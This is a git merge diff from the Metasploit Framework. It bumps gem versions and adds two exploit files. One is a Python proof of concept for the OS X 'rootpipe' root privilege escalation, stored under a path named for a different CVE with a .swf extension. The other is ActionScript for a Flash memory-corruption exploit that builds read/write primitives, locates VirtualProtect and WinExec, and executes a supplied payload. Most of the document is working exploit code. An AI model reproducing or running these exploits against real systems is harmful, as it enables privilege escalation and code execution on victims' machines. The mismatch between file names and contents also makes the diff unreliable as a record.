Merge branch 'upstream/master' into connection-recovery

Conflicts:
	lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb

Author: OJ

.travis.yml

@@ -38,3 +38,6 @@ branches:
   except:
     - gh-pages
     - metakitty
+
+addons:
+  postgresql: '9.3'

Gemfile.lock

@@ -7,9 +7,9 @@ PATH
       bcrypt
       jsobfu (~> 0.2.0)
       json
-      metasploit-concern (~> 0.3.0)
+      metasploit-concern (= 0.4.0)
       metasploit-model (~> 0.29.0)
-      meterpreter_bins (= 0.0.18)
+      meterpreter_bins (= 0.0.22)
       msgpack
       nokogiri
       packetfu (= 1.1.9)
@@ -22,9 +22,9 @@ PATH
       tzinfo
     metasploit-framework-db (4.11.0.pre.dev)
       activerecord (>= 3.2.21, < 4.0.0)
-      metasploit-credential (~> 0.14.3)
+      metasploit-credential (= 0.14.5)
       metasploit-framework (= 4.11.0.pre.dev)
-      metasploit_data_models (~> 0.23.2)
+      metasploit_data_models (= 0.24.0)
       pg (>= 0.11)
     metasploit-framework-pcap (4.11.0.pre.dev)
       metasploit-framework (= 4.11.0.pre.dev)
@@ -109,30 +109,30 @@ GEM
     mail (2.5.4)
       mime-types (~> 1.16)
       treetop (~> 1.4.8)
-    metasploit-concern (0.3.0)
+    metasploit-concern (0.4.0)
       activesupport (~> 3.0, >= 3.0.0)
       railties (< 4.0.0)
-    metasploit-credential (0.14.3)
-      metasploit-concern (~> 0.3.0)
+    metasploit-credential (0.14.5)
+      metasploit-concern (= 0.4.0)
       metasploit-model (~> 0.29.0)
-      metasploit_data_models (~> 0.23.0)
+      metasploit_data_models (= 0.24.0)
       pg
       railties (< 4.0.0)
       rubyntlm
       rubyzip (~> 1.1)
-    metasploit-model (0.29.0)
+    metasploit-model (0.29.2)
       activesupport
       railties (< 4.0.0)
-    metasploit_data_models (0.23.2)
+    metasploit_data_models (0.24.0)
       activerecord (>= 3.2.13, < 4.0.0)
       activesupport
       arel-helpers
-      metasploit-concern (~> 0.3.0)
+      metasploit-concern (= 0.4.0)
       metasploit-model (~> 0.29.0)
       pg
       railties (< 4.0.0)
       recog (~> 1.0)
-    meterpreter_bins (0.0.18)
+    meterpreter_bins (0.0.22)
     method_source (0.8.2)
     mime-types (1.25.1)
     mini_portile (0.6.2)
@@ -175,7 +175,7 @@ GEM
     rb-readline-r7 (0.5.2.0)
     rdoc (3.12.2)
       json (~> 1.4)
-    recog (1.0.24)
+    recog (1.0.27)
       nokogiri
     redcarpet (3.1.2)
     rkelly-remix (0.0.6)

data/exploits/CVE-2014-0556/msf.swf

@@ -0,0 +1,73 @@
+########################################################
+#
+#  PoC exploit code for rootpipe (CVE-2015-1130)
+#
+#  Created by Emil Kvarnhammar, TrueSec
+#
+#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
+#
+########################################################
+import os
+import sys
+import platform
+import re
+import ctypes
+import objc
+import sys
+from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
+from Foundation import NSAutoreleasePool
+
+def load_lib(append_path):
+    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
+
+def use_old_api():
+    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
+
+
+args = sys.argv
+
+if len(args) != 3:
+    print "usage: exploit.py source_binary dest_binary_as_root"
+    sys.exit(-1)
+
+source_binary = args[1]
+dest_binary = os.path.realpath(args[2])
+
+if not os.path.exists(source_binary):
+    raise Exception("file does not exist!")
+
+pool = NSAutoreleasePool.alloc().init()
+
+attr = NSMutableDictionary.alloc().init()
+attr.setValue_forKey_(04777, NSFilePosixPermissions)
+data = NSData.alloc().initWithContentsOfFile_(source_binary)
+
+print "will write file", dest_binary
+
+if use_old_api():
+    adm_lib = load_lib("/Admin.framework/Admin")
+    Authenticator = objc.lookUpClass("Authenticator")
+    ToolLiaison = objc.lookUpClass("ToolLiaison")
+    SFAuthorization = objc.lookUpClass("SFAuthorization")
+
+    authent = Authenticator.sharedAuthenticator()
+    authref = SFAuthorization.authorization()
+
+    # authref with value nil is not accepted on OS X <= 10.8
+    authent.authenticateUsingAuthorizationSync_(authref)
+    st = ToolLiaison.sharedToolLiaison()
+    tool = st.tool()
+    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
+else:
+    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
+    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
+    client = WriteConfigClient.sharedClient()
+    client.authenticateUsingAuthorizationSync_(None)
+    tool = client.remoteProxy()
+
+    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
+
+
+print "Done!"
+
+del pool

data/exploits/CVE-2014-0569/msf.swf

@@ -0,0 +1,182 @@
+// Build how to:
+// 1. Download the AIRSDK, and use its compiler.
+// 2. Download the Flex SDK (4.6)
+// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
+//      (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
+// 4. Build with: mxmlc -o msf.swf Main.as
+
+// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
+// Modified to be used from msf
+
+package
+{
+	import flash.display.Sprite
+	import flash.display.BitmapData
+	import flash.geom.Rectangle
+	import flash.utils.ByteArray
+	import flash.display.LoaderInfo
+	import mx.utils.Base64Decoder
+
+	public class Main extends Sprite 
+	{
+		private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
+		private var uv:Vector.<Object> = new Vector.<Object>(12800)
+		private var bd:BitmapData = new BitmapData(128, 16)
+		private var i:uint = 0
+
+		public function Main() 
+		{
+			var b64:Base64Decoder = new Base64Decoder()
+			b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
+			var payload:String = b64.toByteArray().toString()
+			
+			for (i = 0; i < bv.length; i++) {
+				bv[i] = new ByteArray()
+				bv[i].length = 0x2000
+				bv[i].position = 0xFFFFF000
+			}
+
+			for (i = 0; i < bv.length; i++)
+				if (i % 2 == 0) bv[i] = null
+
+			for (i = 0; i < uv.length; i++) {
+				uv[i] = new Vector.<uint>(1022)
+			}
+			
+			bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
+			
+			for (i = 0; ; i++)
+				if (uv[i].length == 0xffffffff) break
+			
+			for (var i2:uint = 1; i2 < uv.length; i2++) {
+				if (i == i2) continue
+				uv[i2] = new Vector.<Object>(1014)
+				uv[i2][0] = bv[6401]
+				uv[i2][1] = this
+			}
+			
+			uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
+			bv[6401].endian = "littleEndian"
+			bv[6401].length = 0x500000
+			var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
+			var main:uint = uv[i][0xfffffc09] - 1
+			var vtable:uint = vector_read(main)
+			vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
+			vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
+			byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
+			byte_write(uv[i][0])
+			
+			var flash:uint = base(vtable)
+			var winmm:uint = module("winmm.dll", flash)
+			var kernel32:uint = module("kernel32.dll", winmm)
+			var virtualprotect:uint = procedure("VirtualProtect", kernel32)
+			var winexec:uint = procedure("WinExec", kernel32)
+			var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
+			var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
+
+			byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
+			byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
+			byte_write(0, "\x89\x03", false) // mov [ebx], eax
+			byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
+
+			byte_write(buffer + 0x100, payload, true)
+			byte_write(buffer + 0x20070, xchgeaxespret)
+			byte_write(buffer + 0x20000, xchgeaxesiret)
+			byte_write(0, virtualprotect)
+
+			// VirtualProtect
+			byte_write(0, winexec)
+			byte_write(0, buffer + 0x30000)
+			byte_write(0, 0x1000)
+			byte_write(0, 0x40)
+			byte_write(0, buffer + 0x80)
+
+			// WinExec
+			byte_write(0, buffer + 0x30000)
+			byte_write(0, buffer + 0x100)
+			byte_write(0)
+
+			byte_write(main, buffer + 0x20000)
+			this.toString()
+		}
+		
+		private function vector_write(addr:uint, value:uint = 0):void
+		{
+			addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
+		}
+
+		private function vector_read(addr:uint):uint
+		{
+			return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
+		}
+		
+		private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
+		{
+			if (addr) bv[6401].position = addr
+			if (value is String) {
+				for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
+				if (zero) bv[6401].writeByte(0)
+			} else bv[6401].writeUnsignedInt(value)
+		}
+
+		private function byte_read(addr:uint, type:String = "dword"):uint
+		{
+			bv[6401].position = addr
+			switch(type) {
+				case "dword":
+					return bv[6401].readUnsignedInt()
+				case "word":
+					return bv[6401].readUnsignedShort()
+				case "byte":
+					return bv[6401].readUnsignedByte()
+			}
+			return 0
+		}
+		
+		private function base(addr:uint):uint
+		{
+			addr &= 0xffff0000
+			while (true) {
+				if (byte_read(addr) == 0x00905a4d) return addr
+				addr -= 0x10000
+			}
+			return 0
+		}
+
+		private function module(name:String, addr:uint):uint
+		{
+			var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
+			while (true) {
+				var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
+				if (!entry) throw new Error("FAIL!");
+				bv[6401].position = addr + entry
+				if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
+			}
+			return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
+		}
+
+		private function procedure(name:String, addr:uint):uint
+		{
+			var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
+			var numberOfNames:uint = byte_read(eat + 0x18)
+			var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
+			var addressOfNames:uint = addr + byte_read(eat + 0x20)
+			var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
+			for (var i:uint = 0; ; i++) {
+				var entry:uint = byte_read(addressOfNames + i * 4)
+				bv[6401].position = addr + entry
+				if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
+			}
+			return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
+		}
+
+		private function gadget(gadget:String, hint:uint, addr:uint):uint
+		{
+			var find:uint = 0
+			var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
+			var value:uint = parseInt(gadget, 16)
+			for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
+			return addr + i
+		}
+	}
+}